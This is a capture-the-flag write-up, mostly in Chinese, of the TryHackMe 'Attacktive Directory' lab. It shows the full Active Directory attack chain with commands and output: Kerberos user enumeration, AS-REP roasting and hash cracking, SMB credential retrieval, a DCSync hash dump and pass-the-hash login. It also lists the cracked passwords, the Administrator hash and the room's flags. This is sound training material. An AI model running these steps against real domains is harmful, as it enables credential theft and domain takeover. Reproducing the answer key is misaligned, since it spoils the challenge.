Attacktive Directory

72

99% of Corporate networks run off of AD. But can you exploit a vulnerable Domain Controller?

Deploy The Machine

​ 链接VPN不再赘述。

Setup

安装 Impacket

​ 无论您使用的是 Kali 2019.3 还是 Kali 2021.1,正确安装 Impacket都是一件麻烦事。下面的一些说明或许能帮助你正确安装!

注意:本任务中提到的所有工具都已安装在AttackBox上。只有在自己的虚拟机上安装时才需要这些步骤。Impacket可能还需要您使用大于 3.7 的 python 版本。在 AttackBox 中,您可以使用 python3.9 运行您的命令。

​ 首先,您需要将Impacket Github repo克隆到您的设备上。以下命令将把Impacket克隆到/opt/impacket

git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket

​ 克隆软件源后,您会看到几个与安装相关的文件:requirements.txt 和 setup.py。安装过程中通常会跳过的文件是 setup.py,它实际上是将Impacket安装到您的系统上,这样您就可以使用它,而不必担心任何依赖关系。

​ 安装Impacket的 Python 要求:

pip3 install -r /opt/impacket/requirements.txt

​ 完成安装后,我们就可以运行 python setup 安装脚本了:

cd /opt/impacket/ && python3 ./setup.py install

​ 之后,Impacket就可以正确安装并投入使用了!如果仍有问题,可以试试下面的脚本,看看是否有效:

sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/ 
sudo pip3 install .
sudo python3 setup.py install

​ 正确的Impacket安装说明归功于THM Discord中的 Dragonar#0923 <3

安装 Bloodhound 和 Neo4j

Bloodhound是我们在攻击 Attacktive Directory 时要用到的另一个工具。我们稍后会介绍该工具的具体细节,但现在,我们需要用 Apt 安装两个软件包,即bloodhoundneo4j。你可以用下面的命令来安装:

apt install bloodhound neo4j

​ 现在一切就绪,你可以开始了!

故障排除

​ 如果在安装BloodhoundNeo4j时遇到问题,请尝试执行以下命令:

apt update && apt upgrade

​ 如果您在使用Impacket时遇到问题,请到TryHackMe Discord寻求帮助!

Welcome to Attacktive Directory

Welcome Dear User!

Thank you for doing my first room. I originally created this room for my final project in my Cyber Security degree program back in 2019. Since then, I've gone on to make several other rooms, even a Network for THM. In May 2021, I made the decision to renovate this room and make it more guided and less challenge based so there are more learning opportunities for others. I hope you enjoy it.

Love,

Spooks

列举

​ 基本的枚举从 nmap 扫描开始。Nmap 是一个相对复杂的工具,经过多年改进,可以检测设备上打开了哪些端口、运行了哪些服务,甚至可以检测运行了哪些操作系统。值得注意的是,并非所有服务都能被正确检测到,也并非所有服务都能被枚举出来。尽管 nmap 是一个过于复杂的工具,但它无法枚举所有服务。因此,在进行初始 nmap 扫描后,我们将使用其他实用程序来帮助我们枚举设备上运行的服务。

​ 有关 nmap 的更多信息,请访问nmap room

注意:每个用户账户的 Flag 都可以提交。您可以通过RDP(注:在 Window 的登录提示下,登录格式为spookysec.local\User)和Evil-WinRM管理员获取用户账户的 Flag。

回答下面问题

  1. 什么工具可以让我们枚举 139/445 端口?

    enum4linux
    

    过程:

    └─# nmap -sC -sV -A  10.10.28.134 
    Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 13:17 GMT
    Nmap scan report for 10.10.28.134
    Host is up (0.29s latency).
    Not shown: 987 closed tcp ports (reset)
    PORT     STATE SERVICE       VERSION
    53/tcp   open  domain        Simple DNS Plus
    80/tcp   open  http          Microsoft IIS httpd 10.0
    | http-methods: 
    |_  Potentially risky methods: TRACE
    |_http-server-header: Microsoft-IIS/10.0
    |_http-title: IIS Windows Server
    88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-03 13:17:46Z)
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
    445/tcp  open  microsoft-ds?
    464/tcp  open  kpasswd5?
    593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp  open  tcpwrapped
    3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
    3269/tcp open  tcpwrapped
    3389/tcp open  ms-wbt-server Microsoft Terminal Services
    |_ssl-date: 2023-09-03T13:18:25+00:00; -1s from scanner time.
    | rdp-ntlm-info: 
    |   Target_Name: THM-AD
    |   NetBIOS_Domain_Name: THM-AD
    |   NetBIOS_Computer_Name: ATTACKTIVEDIREC
    |   DNS_Domain_Name: spookysec.local
    |   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
    |   Product_Version: 10.0.17763
    |_  System_Time: 2023-09-03T13:18:16+00:00
    | ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
    | Not valid before: 2023-09-02T13:11:15
    |_Not valid after:  2024-03-03T13:11:15
    TCP/IP fingerprint:
    OS:SCAN(V=7.94%E=4%D=9/3%OT=53%CT=1%CU=36139%PV=Y%DS=2%DC=T%G=Y%TM=64F487AB
    OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=U)
    OS:SEQ(SP=FB%GCD=2%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M508NW8NNS%O2=M5
    OS:08NW8NNS%O3=M508NW8%O4=M508NW8NNS%O5=M508NW8NNS%O6=M508NNS)WIN(W1=FFFF%W
    OS:2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M508NW
    OS:8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0
    OS:%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4
    OS:(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%
    OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%
    OS:T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%R
    OS:ID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
    
    Network Distance: 2 hops
    Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb2-security-mode: 
    |   3:1:1: 
    |_    Message signing enabled and required
    | smb2-time: 
    |   date: 2023-09-03T13:18:16
    |_  start_date: N/A
    |_clock-skew: mean: -1s, deviation: 0s, median: -1s
    
    TRACEROUTE (using port 110/tcp)
    HOP RTT       ADDRESS
    1   312.90 ms 10.11.0.1
    2   312.99 ms 10.10.28.134
    
  2. 机器的 NetBIOS 域名是什么?

    THM-AD
    
  3. 人们通常为其 Active Directory 域使用什么无效 TLD?(扰流器:完整的 AD 域是 spookysec.local)

    .local
    

Enumerating Users via Kerberos

介绍

​ 包括Kerberos在内的大量其他服务正在运行。Kerberos1 是 Active Directory 中的一项关键身份验证服务。打开这个端口后,我们就可以使用一个名为Kerbrute的工具(由 Ronnie Flathers @ropnop 制作)来暴力用户、密码甚至密码喷洒!

​ 注意:有几位用户表示,最新版本的Kerbrute不包含Kerbrute中的UserEnum标志!

列举

​ 在此环节中,将使用修改后的用户列表密码列表,以减少枚举用户和破解密码哈希值的时间。由于我们无法在域控制器上枚举账户锁定策略,因此不建议使用暴力破解凭据。

回答下列问题

  1. Kerbrute 中的什么命令允许我们列举有效的用户名?(./kerbrute -h也许能帮助你)

    userenum
    
  2. 发现了哪些的账户?(这些应该会让您眼前一亮)

    svc-admin
    

    过程:

    └─# ./kerbrute userenum -d spookysec.local --dc 10.10.76.16 userlist.txt
        __             __               __     
       / /_____  _____/ /_  _______  __/ /____ 
      / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
     / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
    /_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                           
    
    Version: v1.0.3 (9dad6e1) - 09/08/23 - Ronnie Flathers @ropnop
    
    2023/09/08 01:15:49 > Using KDC(s):
    2023/09/08 01:15:49 >  10.10.76.16:88
    
    2023/09/08 01:15:50 > [+] VALID USERNAME: james@spookysec.local
    2023/09/08 01:15:54 > [+] VALID USERNAME: svc-admin@spookysec.local
    2023/09/08 01:15:59 > [+] VALID USERNAME: James@spookysec.local
    2023/09/08 01:16:00 > [+] VALID USERNAME: robin@spookysec.local
    2023/09/08 01:16:21 > [+] VALID USERNAME: darkstar@spookysec.local
    2023/09/08 01:16:36 > [+] VALID USERNAME: administrator@spookysec.local
    2023/09/08 01:17:00 > [+] VALID USERNAME: backup@spookysec.local
    2023/09/08 01:17:12 > [+] VALID USERNAME: paradox@spookysec.local
    2023/09/08 01:18:39 > [+] VALID USERNAME: JAMES@spookysec.local
    2023/09/08 01:19:03 > [+] VALID USERNAME: Robin@spookysec.local
    2023/09/08 01:21:34 > [+] VALID USERNAME: Administrator@spookysec.local
    2023/09/08 01:26:39 > [+] VALID USERNAME: Darkstar@spookysec.local
    2023/09/08 01:28:22 > [+] VALID USERNAME: Paradox@spookysec.local
    2023/09/08 01:34:00 > [+] VALID USERNAME: DARKSTAR@spookysec.local
    2023/09/08 01:35:32 > [+] VALID USERNAME: ori@spookysec.local
    
  3. 发现的其他值得注意的账户是什么?(这些应该会让您眼前一亮)

    backup
    

Abusing Kerberos

介绍

​ 枚举完用户账户后,我们可以尝试使用一种名为ASREPRoasting的攻击方法来滥用Kerberos中的一项功能。当用户账户设置了"不需要预验证 "权限时,就会发生ASReproasting。这意味着账户在申请指定用户账户 的Kerberos票据之前不需要提供有效的身份验证。

检索 Kerberos 票据

Impacket有一个名为GetNPUsers.py的工具(位于 impacket/examples/GetNPUsers.py),允许我们从密钥分发中心查询ASReproastable账户。查询账户所需的唯一条件是我们之前通过Kerbrute枚举出的一组有效用户名。

请记住:Impacket可能还需要您使用大于 3.7 的 python 版本。在 AttackBox 中,您可以运行命令python3.9 /opt/impacket/examples/GetNPUsers.py

回答下列问题

  1. 我们有两个用户账户可以查询票单。哪个用户账户可以在没有密码的情况下查询票单?

    svc-admin
    
  2. 查看 Hashcat Examples Wiki 页面,我们从 KDC 获取了哪种类型的 Kerberos 哈希值?(请指明全名,https://hashcat.net/wiki/doku.php?id=example_hashes和搜索第一部分将有所帮助!)

    Kerberos 5, etype 23, AS-REP
    
  3. 哈希值是什么模式?

    18200
    
  4. 现在用提供的修改密码列表破解哈希值,用户账户密码是多少?

    management2005
    

    过程:

    └─# hashcat -m 18200 ../Desktop/hash.text passwordlist.txt 
    hashcat (v6.2.6) starting
    
    Dictionary cache built:
    * Filename..: passwordlist.txt
    * Passwords.: 70188
    * Bytes.....: 569236
    * Keyspace..: 70188
    * Runtime...: 0 secs
    
    [票据]:management2005
                                                              
    Session..........: hashcat
    Status...........: Cracked
    Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
    Hash.Target......: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:e3fe8345c73...e0ccc3
    Time.Started.....: Fri Sep  8 06:10:08 2023 (0 secs)
    Time.Estimated...: Fri Sep  8 06:10:08 2023 (0 secs)
    Kernel.Feature...: Pure Kernel
    Guess.Base.......: File (passwordlist.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#1.........:   182.4 kH/s (1.01ms) @ Accel:512 Loops:1 Thr:1 Vec:8
    Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
    Progress.........: 8192/70188 (11.67%)
    Rejected.........: 0/8192 (0.00%)
    Restore.Point....: 4096/70188 (5.84%)
    Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
    Candidate.Engine.: Device Generator
    Candidates.#1....: newzealand -> whitey
    Hardware.Mon.#1..: Util:  8%
    

Back to the Basics

列举

​ 有了用户的账户凭据,我们在域内的访问权限就大大增加了。现在,我们可以尝试枚举域控制器可能提供的任何共享。

回答下列问题

  1. 我们可以使用什么实用程序来映射远程 SMB 共享?(man smbclient 会告诉你一些关于该工具的信息!)

    smbclient
    
  2. 哪个选项会列出共享?(man smbclient 会告诉你一些关于该工具的信息!)

    -l
    
  3. 服务器列出了多少个远程共享?

    6
    

    过程:

    └─# smbclient -L spookysec.local -U svc-admin
    Password for [WORKGROUP\svc-admin]:
            Sharename       Type      Comment
            ---------       ----      -------
            ADMIN$          Disk      Remote Admin
            backup          Disk      
            C$              Disk      Default share
            IPC$            IPC       Remote IPC
            NETLOGON        Disk      Logon server share 
            SYSVOL          Disk      Logon server share 
    
  4. 我们可以访问一个包含文本文件的特定共享。是哪个共享?

    backup
    
  5. 文件内容是什么?(文件的编码内容)

    YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
    

    过程:

    └─# smbclient \\\\10.10.64.25\\backup -U svc-admin
    Password for [WORKGROUP\svc-admin]:
    Try "help" to get a list of possible commands.
    smb: \> dir
      .                                   D        0  Sat Apr  4 19:08:39 2020
      ..                                  D        0  Sat Apr  4 19:08:39 2020
      backup_credentials.txt              A       48  Sat Apr  4 19:08:53 2020
    
                    8247551 blocks of size 4096. 3588429 blocks available
    smb: \> get backup_credentials.txt
    getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
    
  6. 解码文件内容,完整的内容是什么?

    backup@spookysec.local:backup2517860
    

Elevating Privileges within the Domain

Let's Sync Up!

​ 现在我们有了新的用户账户凭据,在系统中可能拥有比以前更多的权限。"备份"账户的用户名引起了我们的思考。这是什么备份账户?

​ 它是域控制器的备份账户。该账户有一个独特的权限,允许将所有活动目录更改与该用户账户同步。其中包括密码哈希值。

img

​ 了解了这一点,我们就可以使用Impacket中另一个名为 secretsdump.py的工具。这将允许我们检索该用户账户(与域控制器同步)提供的所有密码哈希值。利用这一点,我们将有效地完全控制 AD 域。

回答下列问题

  1. 是什么方法让我们转储 NTDS.DIT?(阅读 secretsdump 输出!)

    DRSUAPI
    

    过程:

    └─# python3 /opt/impacket/examples/secretsdump.py -dc-ip 10.10.64.25 -target-ip 10.10.64.25  backup@spookysec.local
    Impacket v0.12.0.dev1+20230817.32422.a769683f - Copyright 2023 Fortra
    
    Password:
    [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
    [*] Using the DRSUAPI method to get NTDS.DIT secrets
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
    ...
    
  2. 管理员 NTLM 哈希值是多少?

    0e0363213e37b94221497260b0bcb4fc
    
  3. 什么攻击方法可以让我们在没有密码的情况下以用户身份进行身份验证?

    pass the hash
    
  4. 使用名为 Evil-WinRM 的工具,什么选项允许我们使用哈希值?(如果未安装 Evil-WinRM,可通过gem install evil-winrm命令安装)

    -H
    

Flag Submission Panel

Flags提交面板

​ 提交每个用户账户的 Flags。它们可以位于每个用户的桌面上。如果你喜欢这个盒子,你可能也会喜欢作者的博文

回答下列问题

  1. svc-admin

    TryHackMe{K3rb3r0s_Pr3_4uth}
    
  2. backup

    TryHackMe{B4ckM3UpSc0tty!}
    
  3. Administrator

    TryHackMe{4ctiveD1rectoryM4st3r}
    

    过程:

    └─# evil-winrm -i 10.10.64.25 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
    

Footnotes

  1. Kerberos 是一种基于票据的计算机网络身份验证协议,允许节点通过非安全网络安全地相互证明身份。它主要采用客户机-服务器模式,提供相互认证,即用户和服务器相互验证身份。Kerberos 协议信息可防止窃听和重放攻击,它以对称密钥加密技术为基础,需要一个受信任的第三方。